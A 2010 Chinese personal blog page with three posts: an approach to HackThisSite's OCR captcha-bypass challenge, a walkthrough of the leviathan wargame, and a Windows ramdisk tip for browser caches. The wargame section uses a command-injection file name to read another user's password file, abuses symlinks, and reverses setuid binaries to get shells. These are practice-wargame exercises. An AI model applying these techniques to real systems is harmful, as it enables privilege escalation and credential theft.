Monday, June 28, 2010

HackThisSite: Programming 6 Bypass the image captcha

这是07年题目发布一来,解决耗时最长的一题,从07年年初到现在,这一晃。。。

题目地址在 http://www.hackthissite.org/missions/prog/6/

列表说明如下:
Bypass the image captcha

Bypass the image captcha This level is about OCR. Write a program which is able to read all the characters in a given image, and let it beat a captcha automatically. 

Difficulty rating: harder   Take this challenge!

题目大致是一个用 js+css 渲染的页面,上边画了一些文字,可以看这里
PHP Imagick 使用手记 这个是三年前学 php imagick 的时候做的,思路待会儿一并讲了。需要注册才能下附件,但是校外貌似没法注册 XD.
那就直接去上边给的关卡链接看吧。

画出来的页面,字符按渐近线排序。从最内顺时针方向,每旋转10度一个字符;相邻两个文字到旋转中心之间的距离是有一定比例关系的。
于是思路有两个:
1 画图 + OCR
图片绘制很简单,html代码直接可以重写成php代码,然后生成图片就是了。但是唯一的麻烦是文字的识别。
一般OCR预处理图片的时候,都会对字符进行矫正,但是毕竟斜着的字符处理起来还是很麻烦,所以基本思路是“旋转”。取的是水平和垂直的四栏数据,旋转10度,再取,再旋转。。。
由于拿到的数据本身已经做过一些round类似的处理,整数数值已经不精确,不合适地旋转会让偏差更大。所以旋转的策略应该是,每次都对*原图*旋转,第一次旋转0°,第二次10°。。。
这样总比拿上次的结果再转10°的效果好。。。

剩下就是定位,然后截框,圈字符,识别。。。。
最早按这个思路做,然后折腾了好久识别率都不高。。。
(其实是当时截框的定位计算出了错,以后有时间可以再重新实现)

2 直接字符坐标定位
每个字符都有特定的组成,例如 1 有三个横线, 2 有一个弧线和两个横线。。。
关键的一点,弧线的弧度是不受旋转影响而产生误差的。所以有弧线的字符很容易判定出来。


不管哪种思路,第一步都是差不多的:
第一步,定位所谓的旋转中心。直接字面理解即可,或者把这个发散线当一个圆,那就是圆心。
有一个重要的参数,是上边提到的相邻两个字符中间位置到圆心距离的比例,1.005,不用问为什么,反正就是这个数了。这样一来,测得最内圈是99像素左右,最外圈的是 100 * 1.005^252 ~= 351 像素。

定义的数据结构如下:
Line {
int x1,
int y1,
int x2,
int y2
}
Arc {
int x,
int y,
int radius,
int sangle,
int anglelength
}
对于Line,(x1,y1) 和 (x2,y2) 之间的位置关系是不确定的,所以预处理最好调一下顺序。
对于Arc,这里是按照逆时针方向画的弧线,所有都是用角度单位表示,x,y是圆心坐标。

预处理第一步,根据定义的数据结构,可以遍历取到x方向和y方向的最小和最大的坐标,计入 edge 中。
所以有圆心位置为:
x方向: edge[x][max] - (edge[x][max] - edge[x][min]) / (1.005^18 + 1)
y方向: edge[y][max] - (edge[y][max] - edge[y][min]) / (1.005^18 + 1)

由于题目中的坐标已经不是精确值,所以这里建议不要再作 round 处理。


*从现在开始,以上述第二种思路来分析*。
第二步,根据圆心坐标,计算每个字符的中心位置。因为旋转角度是确定的,所以这个也很容易。
第三步,遍历所有的Line 和 Arc,根据中点位置,判定基于圆心笛卡尔坐标系的角度,进而可以分辨出是在哪条射线方向上,分组整理。
第四步,对每组的Line和Arc,再判定距离圆心的位置,就可以定位大致是第几层的字符。
第五步,按组、层识别字符。

后边的思路都很简单,最恶心的就是字符的识别,特征提取。
上边说了,有弧线的地方很容易搞定。真正开发中也的确如此。但是对于没有弧线的位置,于是就得恶心了,关键还得考虑排重和缺信息的情况。

Anyway, 这个题目已经搞定。只是由于识别率的不稳定,就在那儿直接循环暴力重试。。。

不过,第一次用 php 的 goto,真方便 XD

Sunday, June 13, 2010

leviathan.intruded.net

上午把这个过了,最容易的一台机器
ssh: leviathan.intruded.net
port: 10101
username: level1
password: leviathan

密码列表(blog里隐掉了)
level1: leviathan
level2: ********
level3: ********
level4: ********
level5: ********
level6: ********
level7: ********
level8: ********
----------------------------------
1
cat .backup/bookmarks.html | grep --color pass
<DT><A HREF="http://nahtaivel.intruded.net/passwordus.html" TEMP: "AFeSdWEf"ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to level2</A>
直接访问
********
----------------------------------
2
/wargame/check
下载下来打开,看到 sex secret god love
这个就是密码,验证,打开一个shell

level2@leviathan:/wargame$ ./check
password: sex secret god love
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)
********
----------------------------------
3
level3@leviathan:/wargame$ ln -s /home/level4/.passwd /tmp/file.log
level3@leviathan:/wargame$ ./prog
********
这个纯粹是猜出来的
直接运行提示 Cannot find /tmp/file.log
/tmp是可写不可读的状态

----------------------------------
4
/wargame
ida pro打开,直接伪代码看
int __cdecl do_stuff()
{
  int v1; // [sp+11Dh] [bp-Bh]@1
  int v2; // [sp+121h] [bp-7h]@1
  __int16 v3; // [sp+125h] [bp-3h]@1
  char v4; // [sp+127h] [bp-1h]@1
  char v5; // [sp+1Dh] [bp-10Bh]@1

  v1 = dword_8048737;
  v2 = dword_804873B;
  v3 = word_804873F;
  v4 = byte_8048741;
  fgets(&v5, 256, (FILE *)stdin);
  if ( strcmp(&v5, (const char *)&v1) )
  {
    puts("bzzzzzzzzap. WRONG");
  }
  else
  {
    puts("[You've got shell]!");
    seteuid(0x3ECu);
    system("/bin/sh");
  }
  return 0;
}

点开v1
.rodata:08048737 dword_8048737   dd 706C6E73h            ; DATA XREF: do_stuff+9 r
.rodata:0804873B dword_804873B   dd 746E6972h            ; DATA XREF: do_stuff+11 r
.rodata:0804873F word_804873F    dw 0A66h                ; DATA XREF: do_stuff+19 r
mysql出场了


mysql> select 0x706C6E73;
+------------+
| 0x706C6E73 |
+------------+
| plns       |
+------------+
1 row in set (0.00 sec)

mysql> select 0x746E6972;
+------------+
| 0x746E6972 |
+------------+
| tnir       |
+------------+
1 row in set (0.00 sec)

mysql> select 0x66;
+------+
| 0x66 |
+------+
| f    |
+------+
1 row in set (0.00 sec)

mysql> select reverse('ftnirplns');
+----------------------+
| reverse('ftnirplns') |
+----------------------+
| snlprintf            |
+----------------------+
1 row in set (0.00 sec)
密码是 ********

----------------------------------
5
这关是个算法题?
~/.Trash/bin

Ida pro 打开
int __cdecl main(char a1)
{
  int result; // eax@2
  FILE *v2; // eax@1
  int  r; // [sp+40h] [bp+0h]@1
  int v4; // [sp+3Ch] [bp-4h]@1
  char *v5; // [sp+30h] [bp-10h]@1
  FILE *v6; // [sp+20h] [bp-20h]@1
  unsigned int v7; // [sp+24h] [bp-1Ch]@3
  char v8; // [sp+2Fh] [bp-11h]@4
  signed int v9; // [sp+28h] [bp-18h]@4
  char *v10; // [sp+18h] [bp-28h]@11

  v4 =  r;
  v5 = &a1;
  v2 = fopen("/home/level6/.passwd", (const char *)&unk_80485E8);
  v6 = v2;
  if ( v2 )
  {
    fgets(buf, 256, v6);
    v7 = 0;
    while ( 1 )
    {
      v10 = buf;
      if ( v7 >= strlen(buf) - 1 )
        break;
      v8 = buf[v7];
      v9 = 0;
      while ( v9 <= 7 )
      {
        if ( v8 >= 0 )
          putchar(48);
        else
          putchar(49);
        v8 *= 2;
        ++v9;
      }
      putchar(32);
      ++v7;
    }
    result = putchar(10);
  }
  else
  {
    result = -1;
  }
  return result;
}
执行的结果是
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010

做了个字典:
#include 
#include 

int main(char a1)
{
    char *buf = "01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    int i=0;
    int t=0;
    char c;
    int j=0;

    for (; i<strlen(buf); i++, j++) {
        c = buf[i];
        printf("%c : ", c);
        t = 0;
        while ( t <= 7 ) {
            if ( c >= 0) {
                putchar('0');
            } else {
                putchar('1');
            }

            c *= 2;
            t++;
        }
        if (j%4 == 3) {
            printf(" \n");
        } else {
            printf(" \t");
        }
    }
}
/*
0 : 00110000    1 : 00110001    2 : 00110010    3 : 00110011
4 : 00110100    5 : 00110101    6 : 00110110    7 : 00110111
8 : 00111000    9 : 00111001    0 : 00110000    a : 01100001
b : 01100010    c : 01100011    d : 01100100    e : 01100101
f : 01100110    g : 01100111    h : 01101000    i : 01101001
j : 01101010    k : 01101011    l : 01101100    m : 01101101
n : 01101110    o : 01101111    p : 01110000    q : 01110001
r : 01110010    s : 01110011    t : 01110100    u : 01110101
v : 01110110    w : 01110111    x : 01111000    y : 01111001
z : 01111010    A : 01000001    B : 01000010    C : 01000011
D : 01000100    E : 01000101    F : 01000110    G : 01000111
H : 01001000    I : 01001001    J : 01001010    K : 01001011
L : 01001100    M : 01001101    N : 01001110    O : 01001111
P : 01010000    Q : 01010001    R : 01010010    S : 01010011
T : 01010100    U : 01010101    V : 01010110    W : 01010111
X : 01011000    Y : 01011001    Z : 01011010
*/
查表
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010
********
----------------------------------
6
signed int __cdecl main(char a1)
{
  int  r; // [sp+230h] [bp+0h]@1
  int v3; // [sp+22Ch] [bp-4h]@1
  char *v4; // [sp+224h] [bp-Ch]@1
  char *v5; // [sp+18h] [bp-218h]@1
  int v7; // [sp+24h] [bp-20Ch]@5
  int v8; // [sp+1Ch] [bp-214h]@6

  v3 =  r;
  v4 = &a1;
  v5 = &a1;
  if ( a1 <= 1 )
  {
    puts("*** File Printer ***");
    printf("Usage: %s filename\n", **((_DWORD **)v5 + 1));
    return -1;
  }
  if ( access(*(const char **)(*((_DWORD *)v5 + 1) + 4), 0) )
  {
    puts("You cant have that file...");
    return 1;
  }
  snprintf((char *)&v7, 0x1FFu, "/bin/cat %s", *(_DWORD *)(*((_DWORD *)v5 + 1) + 4));
  system((const char *)&v7);
  return v8;
}
/var/tmp下有几个symlink,但是直接读还是不行。看了看命令的构造,很显然,需要从文件名上动手。
本想自己弄,结果发现/var/tmp下有了

level6@leviathan:/var/tmp$ /wargame/printfile ./\|cat\ /home/level7/.passwd
/bin/cat: ./: Is a directory
********

----------------------------------
7
level7@leviathan:/wargame$ ./sphinx
usage: ./sphinx <4 digit code>
level7@leviathan:/wargame$ ./sphinx 1111
Wrong
第一眼,想写个代码遍历 - -|||

IDA Pro

int __cdecl main(char a1)
{
  int result; // eax@5
  int  r; // [sp+30h] [bp+0h]@1
  int v3; // [sp+2Ch] [bp-4h]@1
  char *v4; // [sp+24h] [bp-Ch]@1
  char *v5; // [sp+10h] [bp-20h]@1
  int v6; // [sp+20h] [bp-10h]@1

  v3 =  r;
  v4 = &a1;
  v5 = &a1;
  v6 = 7123;
  if ( a1 != 2 )
  {
    printf("usage: %s<4 digit code>\n", **((_DWORD **)v5 + 1));
    exit(-1);
  }
  if ( atoi(*(const char **)(*((_DWORD *)v5 + 1) + 4)) == v6 )
  {
    seteuid(0x3EFu);
    result = system("/bin/sh");
  }
  else
  {
    result = puts("Wrong");
  }
  return result;
}

level7@leviathan:/$ /wargame/sphinx 7123
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)
脑残了,居然不相信7123是密码

啊啊啊啊a

********
----------------------------------

level8@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used *nix system before, now try something more serious. Your completion string is "Unix is easy!!!".

Saturday, June 12, 2010

使用mklink修改chrome/firefox缓存目录到ramdisk

Windows 7下,mklink为cmd的内部命令,参数如下

Creates a symbolic link.

MKLINK [[/D] | [/H] | [/J]] Link Target

/D Creates a directory symbolic link. Default is a file
symbolic link.
/H Creates a hard link instead of a symbolic link.
/J Creates a Directory Junction.
Link specifies the new symbolic link name.
Target specifies the path (relative or absolute) that the new link
refers to.



创建Ramdisk,分区符定为 Z:
建立目录 Z:\Chrome\Cache。
Administrator模式开启CMD,进入 C:\Users\sskaje\AppData\Local\Google\Chrome\User Data\Default
执行
mklink /J Cache z:\Chrome\Cache


social.microsoft.com的一帖子说,Junction 和 Symlink 区别在于,前者系统认为是一个实际目录,后者认为是一个快捷方式,但是貌似这个说法还不是很正确,没空研究,爱怎怎地吧。

效率考虑,我ramdisk的数据不往硬盘上同步,这就意味着重启系统,Z盘的这些目录就被干掉了。
于是开机就需要执行一次mkdir建目录。

代码如下

SET RAMDISKDRV=Z:

SET CHROME_CACHE_DIR="%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Cache"
SET CHROME_RAMDISK_DIR="%RAMDISKDRV%\Chrome\Cache"

rd /s /q %CHROME_CACHE_DIR%
mkdir %CHROME_RAMDISK_DIR%
mklink /J %CHROME_CACHE_DIR% %CHROME_RAMDISK_DIR%


如果嫌这样麻烦,可以改Chrome的启动参数,加 --user-data-dir=Z:\Chrome\Cache

Firefox直接 用 about:config 添加 browser.cache.disk.parent_directory 指到 Z:\Firefox 即可。